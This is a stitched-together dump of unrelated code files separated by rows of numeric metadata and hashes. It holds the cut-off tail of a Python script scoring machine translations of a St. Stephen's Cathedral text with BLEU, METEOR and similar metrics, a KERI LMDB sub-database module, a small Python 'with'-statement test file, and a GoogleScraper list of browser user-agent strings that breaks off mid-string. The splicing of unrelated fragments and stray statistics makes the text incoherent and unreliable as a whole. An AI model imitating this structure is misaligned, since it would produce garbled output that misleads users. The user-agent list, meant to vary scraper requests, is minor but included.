Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "Its name is Saint Stephen, who is the first Christian martyr to be a martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second Patrozinium is All Saints", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the west facade, flanked by the two Heidenürmen, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "In total, the St. Stephen's Cathedral has four towers: the highest with 136.4 meters is the south tower, the north tower has not been completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Mariä-conception-Dom in Linz was built by two meters lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south tower is an architectural masterpiece of the time; in spite of its remarkable height, the foundation is less than four metres deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main building of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The pummerin, the third largest free-swinging church bell in Europe, has been located in the north tower under a tower hood dating back to the Renaissance period since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], "Yandex Translate": [ { "translation": "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and All Saints) on Vienna's Stephansplatz (district Inner City) has been cathedral church (seat of a cathedral chapter) since 1365, cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723", "references": ["St. Stephen's Cathedral (actually the Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Innere Stadt district) has been a cathedral church since 1365, a cathedral (bishop's see) since 1469/1479 and the metropolitan church of the Archbishop of Vienna since 1723", "St. Stephen's Cathedral (actually Cathedral and Metropolitan Church of St. Stephen and all Saints) on Vienna's Stephansplatz (Inner City district) has been a cathedral church since 1365, a cathedral (bishop's seat) since 1469/1479 and metropolitan church of the Archbishop of Vienna since 1723"] }, { "translation": "The Roman Catholic Cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine", "references": ["The Roman Catholic cathedral, which is also called Steffl for short by the Viennese, is considered a landmark of Vienna and is also referred to as an Austrian national shrine", "The Roman Catholic cathedral, also called Steffl for short by the Viennese, is considered a landmark of Vienna and is sometimes also referred to as the Austrian national shrine"] }, { "translation": "It is named after Saint Stephen, who is considered the first Christian martyr", "references": ["The namesake is Saint Stephen, who is said to have been the first Christian martyr", "Saint Stephen, who is considered to be the first Christian martyr, is the namesake of the cathedral"] }, { "translation": "The second patrocinium is All Saints ' Day", "references": ["The second patronal festival is All Saints' Day", "The second patronal festival is All Saints' Day"] }, { "translation": "The building is 107 meters long and 34 meters wide", "references": ["The building is 107 meters long and 34 meters wide", "The building is 107 metres long and 34 metres wide"] }, { "translation": "The cathedral is one of the most important Gothic buildings in Austria", "references": ["The cathedral is one of the most important Gothic buildings in Austria", "The cathedral is one of the most important Gothic buildings in Austria"] }, { "translation": "Parts of the Late Romanesque predecessor building from 1230/40 to 1263 are still preserved and form the western facade, flanked by the two pagan towers, which are about 65 meters high", "references": ["Parts of the late Romanesque predecessor building dating back to 1230/40 until 1263 are still intact and make up the west facade, flanked by the two pagan towers which are around 65 meters tall", "Parts of the late Romanesque predecessor building from 1230/40 till 1263 are still intact and form the west facade, which is flanked by the two heathen towers that are approximately 65 metres high"] }, { "translation": "In total, St. Stephen's Cathedral has four towers: the tallest with 136.4 meters is the south Tower, the north tower has not been completed and is only 68 meters high", "references": ["In total, St. Stephen's Cathedral has four towers: With a height of 136.4 meters, the tallest is the south tower, the north tower was never finished and is only 68 meters high", "In total, St. Stephen's cathedral has four towers: The highest one being the south tower with a height of 136.4 metres, the north tower was not completed and is only 68 metres high"] }, { "translation": "In the former Austria-Hungary, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral", "references": ["In former Austro-Hungary no church was allowed to be built taller than the south tower of St. Stephen's Cathedral", "In the former Austro-Hungarian empire, no church was allowed to be built higher than the south tower of St. Stephen's Cathedral"] }, { "translation": "For example, the Cathedral of the Conception of the Virgin Mary in Linz was built two metres lower", "references": ["As an example, the Cathedral of the Immaculate Conception in Linz was built two meters lower", "For example, the New Cathedral in Linz was built two metres lower"] }, { "translation": "The south Tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four meters deep", "references": ["The south tower is an architectural masterpiece of the time; in spite of its remarkable height the foundation is less than four meters deep", "The south tower is an architectural masterpiece of the time; despite its remarkable height, the foundation is less than four metres deep"] }, { "translation": "In the south tower there are a total of 13 bells, eleven of which form the main ringing of St. Stephen's Cathedral", "references": ["In the south tower there are a total of 13 bells, eleven of which make up the main bells of St. Stephen's Cathedral", "There are 13 bells located in the south tower, eleven of which form the main chime of St. Stephen's cathedral"] }, { "translation": "The Pummerin, the third largest free-swinging church bell in Europe, has been located in the North Tower under a Renaissance-era tower hood since 1957", "references": ["The Pummerin, the third largest free-swinging rung church bell of Europe, is located in the north tower since 1957 beneath a dome from the Renaissance period", "The Pummerin, the third-largest free-swinging church bell in Europe, has been located in the north tower under a Renaissance-era tower dome since 1957"] }, ], } translations2 = deepcopy(translations) for translation in translations: for sentence in translations[translation]: sentence["translation"] = sentence["translation"].replace(".", " . ").split() for idx, reference in enumerate(sentence["references"]): sentence["references"][idx] = reference.replace(".", " . ").split() for service in translations: print(service) hypotheses_split = [translations[service][0]["translation"], translations[service][1]["translation"]] references_split = [translations[service][0]["references"], translations[service][1]["references"]] hypotheses = [translations2[service][0]["translation"], translations2[service][1]["translation"]] references = [translations2[service][0]["references"], translations2[service][1]["references"]] # BLEU, 0 = bad, 1 = good print("BLEU: " + str(corpus_bleu(references_split, hypotheses_split))) # NIST print("NIST: " + str(corpus_nist(references_split, hypotheses_split, 3))) # METEOR avg_score = 0 for idx, hypothesis in enumerate(hypotheses): avg_score += meteor_score(references[idx], hypothesis) avg_score /= len(hypotheses) print("METEOR: " + str(avg_score)) # GLEU print("GLEU: " + str(corpus_gleu(references_split, hypotheses_split))) # TER refs_split = [[], []] for reference in references_split: # all elements in references_split have to have the same length for idx in range(len(reference)): refs_split[idx].append(reference[idx]) avg_score = 0 for ref in refs_split: for r, hyp in zip(ref, hypotheses_split): avg_score += ter(r, hyp) avg_score /= len(refs_split) avg_score /= len(hypotheses) print("TER: " + str(avg_score)) # RIBES print("RIBES: " + str(corpus_ribes(references_split, hypotheses_split))) # ChrF avg_score = 0 for ref in refs_split: avg_score += corpus_chrf(ref, hypotheses_split) avg_score /= len(refs_split) print("ChrF: " + str(avg_score)) print("")
97.846986
625
0.726634
9,531
63,307
4.82111
0.030007
0.030751
0.026551
0.049619
0.952296
0.94803
0.945071
0.942982
0.940435
0.937758
0
0.027163
0.209692
63,307
647
626
97.846986
0.89125
0.001848
0
0.313856
0
0.400668
0.853154
0
0
0
0
0
0
1
0
false
0
0.048414
0
0.048414
0.015025
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
c904b3f9fe887bff67aba476a601ad4edbb2c42a
10,370
py
Python
src/keri/db/subing.py
KodexData/keripy
2a6b7883fcb04c29b4ce8f55ebb5d2eb36e24689
[ "Apache-2.0" ]
26
2020-05-18T19:52:33.000Z
2022-03-02T13:58:45.000Z
src/keri/db/subing.py
KodexData/keripy
2a6b7883fcb04c29b4ce8f55ebb5d2eb36e24689
[ "Apache-2.0" ]
16
2020-08-26T12:53:37.000Z
2021-05-26T15:29:19.000Z
src/keri/db/subing.py
m00sey/keripy
7bdaf57972d44c2435726bd2300b01a1a90a83b2
[ "Apache-2.0" ]
13
2020-05-05T20:21:26.000Z
2022-03-31T14:11:30.000Z
# -*- encoding: utf-8 -*- """ KERI keri.db.subdbing module """ import json from dataclasses import dataclass, asdict from typing import Type, Union, Iterable import cbor2 import msgpack from .. import kering from .. import help from ..help import helping from ..core import coring from ..app import keeping from . import dbing logger = help.ogler.getLogger() class Suber: """ Sub DB of LMDBer """ Sep = '.' # separator for combining key iterables def __init__(self, db: Type[dbing.LMDBer], *, subkey: str = 'docs.',): """ Parameters: db (dbing.LMDBer): base db subkey (str): LMDB sub database key """ self.db = db self.sdb = self.db.env.open_db(key=subkey.encode("utf-8")) def put(self, keys: Union[str, Iterable], val: Union[bytes, str]): """ Puts val at key made from keys. Does not overwrite Parameters: keys (tuple): of key strs to be combined in order to form key val (bytes): value Returns: result (Boolean): True If successful, False otherwise, such as key already in database. """ if hasattr(val, "encode"): val = val.encode("utf-8") return (self.db.putVal(db=self.sdb, key=self._tokey(keys), val=val)) def pin(self, keys: Union[str, Iterable], val: Union[bytes, str]): """ Pins (sets) val at key made from keys. Overwrites. Parameters: keys (tuple): of key strs to be combined in order to form key val (bytes): value Returns: result (Boolean): True If successful. False otherwise. """ if hasattr(val, "encode"): val = val.encode("utf-8") return (self.db.setVal(db=self.sdb, key=self._tokey(keys), val=val)) def get(self, keys: Union[str, Iterable]): """ Gets val at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: data (bytes): None if no entry at keys Usage: Use walrus operator to catch and raise missing entry if (data := mydb.get(keys)) is None: raise ExceptionHere use data here """ data = self.db.getVal(db=self.sdb, key=self._tokey(keys)) return bytes(data) if data else None def rem(self, keys: Union[str, Iterable]): """ Removes entry at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: result (Boolean): True if key exists so delete successful. False otherwise """ return(self.db.delVal(db=self.sdb, key=self._tokey(keys))) def getItemIter(self): """ Return iterator over the all the items in subdb Returns: iterator: of tuples of keys tuple and val bytes for each entry in db Example: if key in database is "a.b" and val is serialization of dataclass with attributes x and y then returns (("a","b"), dataclass(x=1,y=2)) """ for key, val in self.db.getAllItemIter(db=self.sdb, split=False): keys = tuple(key.decode("utf-8").split('.')) yield (keys, bytes(val)) def _tokey(self, keys: Union[str, Iterable]): """ Converts key to key str with proper separators and returns key bytes. If key is already str then returns. Else If key is iterable (non-str) of strs then joins with separator converts to bytes and returns Parameters: keys (Union[str, Iterable]): str or Iterable of str. """ if hasattr(keys, "encode"): # str return keys.encode("utf-8") elif hasattr(keys, "decode"): # bytes return keys return (self.Sep.join(keys).encode("utf-8")) class SerderSuber(Suber): """ Sub class of Suber where data is serialized Serder instance Automatically serializes and deserializes using Serder methods """ Sep = '.' # separator for combining key iterables def __init__(self, *pa, **kwa): """ Parameters: db (dbing.LMDBer): base db subkey (str): LMDB sub database key """ super(SerderSuber, self).__init__(*pa, **kwa) def put(self, keys: Union[str, Iterable], srdr: coring.Serder): """ Puts val at key made from keys. Does not overwrite Parameters: keys (tuple): of key strs to be combined in order to form key srdr (Serder): instance Returns: result (Boolean): True If successful, False otherwise, such as key already in database. """ return (self.db.putVal(db=self.sdb, key=self._tokey(keys), val=srdr.raw)) def pin(self, keys: Union[str, Iterable], srdr: coring.Serder): """ Pins (sets) val at key made from keys. Overwrites. Parameters: keys (tuple): of key strs to be combined in order to form key srdr (Serder): instance Returns: result (Boolean): True If successful. False otherwise. """ return (self.db.setVal(db=self.sdb, key=self._tokey(keys), val=srdr.raw)) def get(self, keys: Union[str, Iterable]): """ Gets Serder at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: srdr (Serder): None if no entry at keys Usage: Use walrus operator to catch and raise missing entry if (srder := mydb.get(keys)) is None: raise ExceptionHere use srdr here """ raw = self.db.getVal(db=self.sdb, key=self._tokey(keys)) return coring.Serder(raw=bytes(raw)) if raw else None def rem(self, keys: Union[str, Iterable]): """ Removes entry at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: result (Boolean): True if key exists so delete successful. False otherwise """ return(self.db.delVal(db=self.sdb, key=self._tokey(keys))) def getItemIter(self): """ Return iterator over the all the items in subdb Returns: iterator: of tuples of keys tuple and val Serder for each entry in db Example: if key in database is "a.b" and val is serialization of dataclass with attributes x and y then returns (("a","b"), dataclass(x=1,y=2)) """ for key, raw in self.db.getAllItemIter(db=self.sdb, split=False): keys = tuple(key.decode("utf-8").split('.')) yield (keys, coring.Serder(raw=bytes(raw))) class MatterSuber(Suber): """ Sub class of Suber where data is serialized Matter subclass instance Automatically serializes and deserializes using Matter methods """ Sep = '.' # separator for combining key iterables def __init__(self, *pa, klas: Type[coring.Matter] = coring.Matter, **kwa): """ Parameters: db (dbing.LMDBer): base db subkey (str): LMDB sub database key klas (Type[coring.Matter]): Class reference to subclass of Matter """ super(MatterSuber, self).__init__(*pa, **kwa) self.klas = klas def put(self, keys: Union[str, Iterable], val: coring.Matter): """ Puts val at key made from keys. Does not overwrite Parameters: keys (tuple): of key strs to be combined in order to form key val (Matter): instance Returns: result (Boolean): True If successful, False otherwise, such as key already in database. """ return (self.db.putVal(db=self.sdb, key=self._tokey(keys), val=val.qb64b)) def pin(self, keys: Union[str, Iterable], val: coring.Matter): """ Pins (sets) val at key made from keys. Overwrites. Parameters: keys (tuple): of key strs to be combined in order to form key val (Matter): instance Returns: result (Boolean): True If successful. False otherwise. """ return (self.db.setVal(db=self.sdb, key=self._tokey(keys), val=val.qb64b)) def get(self, keys: Union[str, Iterable]): """ Gets Serder at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: val (Matter): None if no entry at keys Usage: Use walrus operator to catch and raise missing entry if (srder := mydb.get(keys)) is None: raise ExceptionHere use srdr here """ val = self.db.getVal(db=self.sdb, key=self._tokey(keys)) return self.klas(qb64b=bytes(val)) if val else None def rem(self, keys: Union[str, Iterable]): """ Removes entry at keys Parameters: keys (tuple): of key strs to be combined in order to form key Returns: result (Boolean): True if key exists so delete successful. False otherwise """ return(self.db.delVal(db=self.sdb, key=self._tokey(keys))) def getItemIter(self): """ Return iterator over the all the items in subdb Returns: iterator: of tuples of keys tuple and val Serder for each entry in db Example: if key in database is "a.b" and val is serialization of dataclass with attributes x and y then returns (("a","b"), dataclass(x=1,y=2)) """ for key, val in self.db.getAllItemIter(db=self.sdb, split=False): keys = tuple(key.decode("utf-8").split('.')) yield (keys, self.klas(qb64b=bytes(val)))
29.376771
85
0.554773
1,295
10,370
4.416216
0.134363
0.018884
0.025179
0.04896
0.823221
0.803637
0.785802
0.784228
0.741388
0.704844
0
0.003542
0.346673
10,370
352
86
29.460227
0.84059
0.476953
0
0.433735
0
0
0.018487
0
0
0
0
0
0
1
0.228916
false
0
0.13253
0
0.578313
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
a330fddb281c44e4d5af6c0383a84754087e5ada
115
py
Python
tests/python_parser/data/with_statement_multi_items.py
ahupp/pegen
e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81
[ "MIT" ]
106
2020-05-14T03:43:47.000Z
2022-03-26T21:46:47.000Z
tests/python_parser/data/with_statement_multi_items.py
ahupp/pegen
e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81
[ "MIT" ]
60
2020-05-07T23:17:46.000Z
2022-03-30T20:26:25.000Z
tests/python_parser/data/with_statement_multi_items.py
ahupp/pegen
e28fe4fb1972c55af5ddb6a7bdd9cba4ea072b81
[ "MIT" ]
20
2020-05-22T10:21:30.000Z
2022-03-26T21:23:44.000Z
with (a, c,): pass with (a as b, c): pass async with (a, c,): pass async with (a as b, c): pass
9.583333
23
0.486957
22
115
2.545455
0.318182
0.357143
0.214286
0.357143
0.821429
0.464286
0
0
0
0
0
0
0.356522
115
11
24
10.454545
0.756757
0
0
0.5
0
0
0
0
0
0
0
0
0
1
0
true
0.5
0
0
0
0
1
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
7
6e6661fee369c40a528d94b2bb5207346b58fd97
9,939
py
Python
pyfilm/GoogleScraper/user_agents.py
jamiejackherer/pyFilm
adcac7766e2193c78e496368667dbfe66a7d405b
[ "MIT" ]
null
null
null
pyfilm/GoogleScraper/user_agents.py
jamiejackherer/pyFilm
adcac7766e2193c78e496368667dbfe66a7d405b
[ "MIT" ]
null
null
null
pyfilm/GoogleScraper/user_agents.py
jamiejackherer/pyFilm
adcac7766e2193c78e496368667dbfe66a7d405b
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- import random # Several different User-Agents to diversify the requests. # Keep the User-Agents updated. Last update: 13th November 2014 # Get them here: http://techblog.willshouse.com/2012/01/03/most-common-user-agents/ user_agents = [ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4', 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B440 Safari/600.1.4', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/7.1.2 Safari/537.85.11', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Windows NT 6.1; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) QuickLook/5.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Windows NT 5.1; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10', 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10', 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/39.0.2171.65 Chrome/39.0.2171.65 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2', 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.10 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.10', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B411 Safari/600.1.4', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/7.0.6 Safari/537.78.2', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0', 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; rv:11.0) like Gecko', 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D201 Safari/9537.53', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A405 Safari/600.1.4', 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B436 Safari/600.1.4', 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.111 Safari/537.36', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/5.1.42378 Mobile/12B440 Safari/600.1.4', 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/39.0.2171.50 Mobile/12B440 Safari/600.1.4', 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0', 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)', 'Mozilla/5.0 (iPad; CPU OS 8_1_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/39.0.2171.50 Mobile/12B440 Safari/600.1.4', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71 Safari/537.36', 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.99 Safari/537.36', 'Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/6.2.2 Safari/537.85.11', 'Mozilla/5.0 (iPad; CPU OS 8_1_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12B435 Safari/600.1.4', 'Mozilla/5.0 (Linux; Android 5.0.1; Nexus 5 Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36', 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:35.0) Gecko/20100101 Firefox/35.0', 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0', 'Mozilla/5.0 (Windows NT 6.1; rv:35.0) Gecko/20100101 Firefox/35.0'] desktop_user_agents = [ 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 